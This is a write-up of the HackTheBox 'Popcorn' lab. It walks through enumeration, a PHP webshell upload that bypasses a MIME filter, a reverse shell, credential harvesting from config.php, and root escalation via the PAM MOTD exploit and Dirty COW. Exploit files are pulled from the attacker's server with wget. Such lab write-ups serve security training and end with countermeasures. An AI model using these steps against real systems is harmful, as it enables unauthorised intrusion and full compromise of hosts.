Contents

HackTheBox - Popcorn

Popcorn

/images/htb-popcorn/popcorn.png

Machine Release Date: March 15, 2017

Active Ports

sudo nmap -p22,80 -sC -sV -oA nmap/full-tcp-version 10.10.10.6
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-05 17:23 EDT
Nmap scan report for 10.10.10.6
Host is up (0.031s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 3e:c8:1b:15:21:15:50:ec:6e:63:bc:c5:6b:80:7b:38 (DSA)
|_  2048 aa:1f:79:21:b8:42:f4:8a:38:bd:b8:05:ef:1a:07:4d (RSA)
80/tcp open  http    Apache httpd 2.2.12 ((Ubuntu))
|_http-server-header: Apache/2.2.12 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.26 seconds

Vulnerability Discovery (Weak file upload filters)

The web service hosted the default Apache welcome page, so I poked further to discover more content on the web server with gobuster:

$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -f -u http://10.10.10.6/ -o raft-large-directories.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.6/
[+] Threads:        10
[+] Wordlist:       /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Add Slash:      true
[+] Timeout:        10s
===============================================================
2020/09/05 17:24:12 Starting gobuster
===============================================================
/test/ (Status: 200)
/doc/ (Status: 403)
/icons/ (Status: 200)
/cgi-bin/ (Status: 403)
/torrent/ (Status: 200)
[ERROR] 2020/09/05 17:24:36 [!] Get http://10.10.10.6/server-status/: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
/rename/ (Status: 200)
[ERROR] 2020/09/05 17:25:31 [!] parse http://10.10.10.6/error_log/: net/url: invalid control character in URL
===============================================================
2020/09/05 17:27:36 Finished
===============================================================

Out of all of the discovered paths, the most interesting one was /torrent/ which presented me with the following page:

/images/htb-popcorn/popcorn-torrent-hoster-home.png

Whenever I see a PHP application, the first thing that comes to mind is: how can I upload a webshell? From here, I noticed the section where I could upload a file. However, I first needed to create an account so that I could be authroized to upload a file:

/images/htb-popcorn/popcorn-signup.png

After creating an account and logging in, I navigated to the section where I could upload a file:

/images/htb-popcorn/popcorn-upload-torrent.png

As seen in the image above, I uploaded a valid torrent file that didn’t yet exist on the popcorn host.

I then tried uploading a PHP webshell, though the Torrent Hosting application prevented me from uploading it despite my efforts at attempting to bypass the file extension and MIME checking filter:

/images/htb-popcorn/popcorn-not-a-valid-torrent-file.png

At this point, I continued to explore Torrent Hoster for more attack vectors where I could upload a webshell. Since I previously uploaded a valid torrent file, I navigated to the section of Torrent Hoster where I could browse torrents I previously uploaded:

/images/htb-popcorn/popcorn-torrent-info.png

Below, I noticed a screenshot section. I figured I might be able to upload a webshell there:

/images/htb-popcorn/popcorn-change-torrent-screenshot-webshell.png

I proxied the request through Burp Suite so that if there were any MIME and/or file extension filters, I could try to bypass them:

/images/htb-popcorn/popcorn-burp-invalid-screenshot-file.png

As seen above, there were some basic MIME and/or file extension filters in place. After some tampering, I learned a weak MIME content type filter was in place. However, after bypassing the MIME content type filter, I realized that the file extensions weren’t being checked which is very important for securing PHP applications from remote code execution.

/images/htb-popcorn/popcorn-webshell-upload-success.png

Notice how I only needed to change the Content-Type header to represent PNG content to bypass the MIME checking filter. From the response, it looked like my PHP webshell was successfully uploaded!

At this point, I needed the popcorn host to execute my PHP webshell to connect back to my netcat listener. I simply clicked on the placeholder for where my torrent thubnail was supposed to be uploaded to get my browser to send a web request to my webshell which in turn would make the web server execute it:

/images/htb-popcorn/popcorn-execute-webshell.png

$ ncat -nvlp 2001
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::2001
Ncat: Listening on 0.0.0.0:2001
Ncat: Connection from 10.10.10.6.
Ncat: Connection from 10.10.10.6:53290.
Linux popcorn 2.6.31-14-generic-pae #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009 i686 GNU/Linux
 20:03:33 up 27 min,  0 users,  load average: 0.00, 0.00, 0.00
 USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 /bin/sh: can't access tty; job control turned off
 $

After upgrading my netcat shell to a pseudo pty with python, I had a low-privileged shell and was able to capture the user.txt flag:

www-data@popcorn:/var/www/torrent$ cat /home/george/user.txt
5e36a919398ecc5d5c110f2d865cf136

Privilege Escalation (CVE-2010-0832)

After capturing the user flag, I like do some basic privilege escalation checks. Whenever there is a web application running on the host, I like to check for credential reuse since a username and password is generally required to connect to its database:

Below is how I found the database credentials:

www-data@popcorn:/var/www/torrent$ grep --color -RiE 'pwd|passw' *
... CONTENT SNIPPED ...
config.php:  $CFG->dbPassword = "SuperSecret!!";        //db password
config.php:     $dbpass         = $CFG->dbPassword;
config.php:  //start session to hold username and password when linking from page to page
config.php:  db_connect($CFG->host, $CFG->dbName, $CFG->dbUserName, $CFG->dbPassword);
www-data@popcorn:/var/www/torrent$ grep CFG config.php
  ... CONTENT SNIPPED ...
  $CFG->host = "localhost";
  $CFG->dbName = "torrenthoster";       //db name
  $CFG->dbUserName = "torrent";    //db username
  $CFG->dbPassword = "SuperSecret!!";   //db password
  ... CONTENT SNIPPED ...

The database credentials were located in /var/www/torrent/config.php. Do note that I was not able to reuse these credentials to login as the root or george user. The next thing I like to do after compromising database credentials is to look for other application-based passwords that were set by administrators for credential reuse. I connected to the Torrent Hoster application’s database and extracted the Admin user’s password hash, but was unable to crack it within a reasonable amount of time.

mysql> select * from users;
+----+----------+----------------------------------+-----------+----------------------+---------------------+---------------------+
| id | userName | password                         | privilege | email                | joined              | lastconnect         |
+----+----------+----------------------------------+-----------+----------------------+---------------------+---------------------+
|  3 | Admin    | d5bfedcee289e5e05b86daad8ee3e2e2 | admin     | admin@yourdomain.com | 2007-01-06 21:12:46 | 2007-01-06 21:12:46 |
|  5 | r0kit    | 5f4dcc3b5aa765d61d8327deb882cf99 | user      | r0kit@example.com    | 2020-09-06 19:47:52 | 2020-09-06 19:47:52 |
+----+----------+----------------------------------+-----------+----------------------+---------------------+---------------------+

At this point, I proceeded to check if the Linux kernel was outdated:

iwww-data@popcorn:~$ uname -a
Linux popcorn 2.6.31-14-generic-pae #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009 i686 GNU/Linux

As seen above, the linux kernel version is extremely outdated and is vulnerable to the Dirty Cow exploit which makes it trivial for an attacker to escalate their privileges to root on the system. However, since the Dirty Cow exploit normally causes system instability, I will compile and run it later in this report.

The next basic check I like to do as a user that shouldn’t have interactive shell access is to enumerate user directories for sensitive information and artifacts that potentially indicate the installation of vulnerable/outdated software:

www-data@popcorn:~$ find /home -ls
 89588    4 drwxr-xr-x   3 root     root         4096 Mar 17  2017 /home
    39    4 drwxr-xr-x   3 george   george       4096 Mar 17  2017 /home/george
    76    4 -rw-r--r--   1 george   george        220 Mar 17  2017 /home/george/.bash_logout
    82    4 -rw-r--r--   1 george   george       3180 Mar 17  2017 /home/george/.bashrc
 42885  832 -rw-r--r--   1 george   george     848727 Mar 17  2017 /home/george/torrenthoster.zip
 48951    4 drwxr-xr-x   2 george   george       4096 Mar 17  2017 /home/george/.cache
 42883    0 -rw-r--r--   1 george   george          0 Mar 17  2017 /home/george/.cache/motd.legal-displayed
 42884    0 -rw-r--r--   1 george   george          0 Mar 17  2017 /home/george/.sudo_as_admin_successful
  2210    4 -rw-r--r--   1 george   george         33 Mar 17  2017 /home/george/user.txt
 43648    4 -rw-------   1 root     root           19 May  5  2017 /home/george/.nano_history
 44232    4 -rw-------   1 root     root         1571 Mar 17  2017 /home/george/.mysql_history
   499    4 -rw-------   1 root     root         2769 May  5  2017 /home/george/.bash_history
   107    4 -rw-r--r--   1 george   george        675 Mar 17  2017 /home/george/.profile

The most suspicious file here was /home/george/.cache/motd.legal-displayed since it indicated the existence of the Linux PAM module. I went ahead and checked for the installed version of the Linux PAM module installed on the popcorn host:

www-data@popcorn:/dev/shm$ dpkg -l | grep pam
ii  libpam-modules                      1.1.0-2ubuntu1                    Pluggable Authentication Modules for PAM
ii  libpam-runtime                      1.1.0-2ubuntu1                    Runtime support for the PAM library
ii  libpam0g                            1.1.0-2ubuntu1                    Pluggable Authentication Modules library
ii  python-pam                          0.4.2-12ubuntu3                   A Python interface to the PAM library

I then searched for existing exploits against Linux pam:

$ searchsploit linux pam | grep local
dbus-glib pam_fprintd - Local Privilege Escalation                                                                                                        | linux/local/33614.c
Linux PAM 0.77 - Pam_Wheel Module 'getlogin() Username' Spoofing Privilege Escalation                                                                     | linux/local/22781.txt
Linux PAM 1.1.0 (Ubuntu 9.10/10.04) - MOTD File Tampering Privilege Escalation (1)                                                                        | linux/local/14273.sh
Linux PAM 1.1.0 (Ubuntu 9.10/10.04) - MOTD File Tampering Privilege Escalation (2)                                                                        | linux/local/14339.sh
Mandrake 6.x / RedHat 6.x / Turbolinux 3.5 b2/4.x/6.0.2 userhelper/PAM - Path (1)                                                                         | linux/local/19709.sh
Mandrake 6.x / RedHat 6.x / Turbolinux 3.5 b2/4.x/6.0.2 userhelper/PAM - Path (2)                                                                         | linux/local/19710.c
pam-krb5 < 3.13 - Local Privilege Escalation                                                                                                              | linux/local/8303.c
RedHat Linux 6.0/6.1/6.2 - 'pam_console' Monitor Activity After Logout                                                                                    | linux/local/19900.c

I went ahead and mirror’ed Linux PAM 1.1.0 (Ubuntu 9.10/10.04) - MOTD File Tampering Privilege Escalation (2):

searchsploit -m linux/local/14339.sh

I then transferred the exploit to the popcorn machine over HTTP:

$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.6 - - [06/Sep/2020 15:47:18] "GET /14339.sh HTTP/1.0" 200 -
www-data@popcorn:/dev/shm$ wget http://10.10.14.24:8000/14339.sh
--2020-09-06 22:48:25--  http://10.10.14.24:8000/14339.sh
Connecting to 10.10.14.24:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3042 (3.0K) [text/x-sh]
Saving to: `14339.sh'

100%[==================================================================================================================================================>] 3,042       --.-K/s   in 0s

2020-09-06 22:48:25 (205 MB/s) - `14339.sh' saved [3042/3042]

www-data@popcorn:/dev/shm$ chmod +x 14339.sh
www-data@popcorn:/dev/shm$ ./14339.sh
[*] Ubuntu PAM MOTD local root
[*] Backuped /var/www/.ssh/authorized_keys
[*] SSH key set up
[*] Backuped /var/www/.cache
[*] spawn ssh
[+] owned: /etc/passwd
[*] spawn ssh
[+] owned: /etc/shadow
[*] Restored /var/www/.cache
[*] Restored /var/www/.ssh/authorized_keys
[*] SSH key removed
[+] Success! Use password toor to get root
Password:
root@popcorn:/dev/shm# id
uid=0(root) gid=0(root) groups=0(root)
root@popcorn:/dev/shm# cat /root/root.txt
f122331023a9393319a0370129fd9b14

Note: If the exploit doesn’t work out of the box, it is likely because SSH key-based authentication isn’t properly setup for your current user. You can fix this by running the following script. Only do this if your current user doesn’t have SSH configured since the script below will overwrite your existing SSH keys!

mkdir ~/.ssh
ssh-keygen -t rsa -N '' -f ~/.ssh/id_rsa
cat ~/.ssh/id_rsa.pub > ~/.ssh/authorized_keys
chmod -R 700 ~/.ssh

Privilege Escalation (Dirty Cow CVE-2016-5195)

Search for a dirty cow exploit that will compile on the x86 system:

$ searchsploit dirty cow
---------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                            |  Path
---------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Linux Kernel - 'The Huge Dirty Cow' Overwriting The Huge Zero Page (1)                                                                                    | linux/dos/43199.c
Linux Kernel - 'The Huge Dirty Cow' Overwriting The Huge Zero Page (2)                                                                                    | linux/dos/44305.c
Linux Kernel 2.6.22 < 3.9 (x86/x64) - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (SUID Method)                                        | linux/local/40616.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (/etc/passwd Method)                                           | linux/local/40847.cpp
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW PTRACE_POKEDATA' Race Condition (Write Access Method)                                                              | linux/local/40838.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method)                                        | linux/local/40839.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' /proc/self/mem Race Condition (Write Access Method)                                                               | linux/local/40611.c
---------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------

I then mirrored the Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method) exploit:

searchsploit -m linux/local/40839.c

I then hosted the exploit on my local HTTP server with:

python3 -m http.server

And made the popcorn machine download it from my kali machine:

www-data@popcorn:/dev/shm$ wget http://10.10.14.24:8000/40839.c
--2020-09-06 23:04:38--  http://10.10.14.24:8000/40839.c
Connecting to 10.10.14.24:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4814 (4.7K) [text/plain]
Saving to: `40839.c'

100%[==================================================================================================================================================>] 4,814       --.-K/s   in 0s

2020-09-06 23:04:39 (290 MB/s) - `40839.c' saved [4814/4814]

Next, I compiled and ran it:

www-data@popcorn:/dev/shm$ gcc -pthread 40839.c -o dirty -lcrypt
www-data@popcorn:/dev/shm$ ./dirty
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password:
Complete line:
firefart:fiKxInqPfoIPg:0:0:pwned:/root:/bin/bash

mmap: b7888000

At this point, I was able to login via SSH as the firefart user with the password I specified when running the exploit:

$ ssh firefart@10.10.10.6
firefart@10.10.10.6's password:
Linux popcorn 2.6.31-14-generic-pae #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009 i686

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/

  System information as of Sun Sep  6 23:06:02 EEST 2020

  System load: 1.06              Memory usage: 7%   Processes:       114
  Usage of /:  6.2% of 14.80GB   Swap usage:   0%   Users logged in: 1

  Graph this data and manage this system at https://landscape.canonical.com/

Last login: Sun Sep 24 18:01:48 2017
firefart@popcorn:~# id
uid=0(firefart) gid=0(root) groups=0(root)
firefart@popcorn:~# cat /root/root.txt
f122331023a9393319a0370129fd9b14
firefart@popcorn:~#

As seen above, the firefart user had root privileges indicating a full compromise of the popcorn host.

Countermeasures

  • Update the torrent hoster software to the latest version currently available. If the software happens to be at the latest version, then patch the vulnerability where webshells can be uploaded as screenshots by spoofing the MIME type. Ideally, the file contents should be checked upon upload as well as filename extensions.
  • Update the Linux PAM module to the latest version currently available so that privilege escalation via Linux PAM abuse (CVE-2010-0832) can be patched.
  • Update the operating system to the latest version currently available so that it won’t be vulnerable to the Dirty Cow privilege escalation exploit.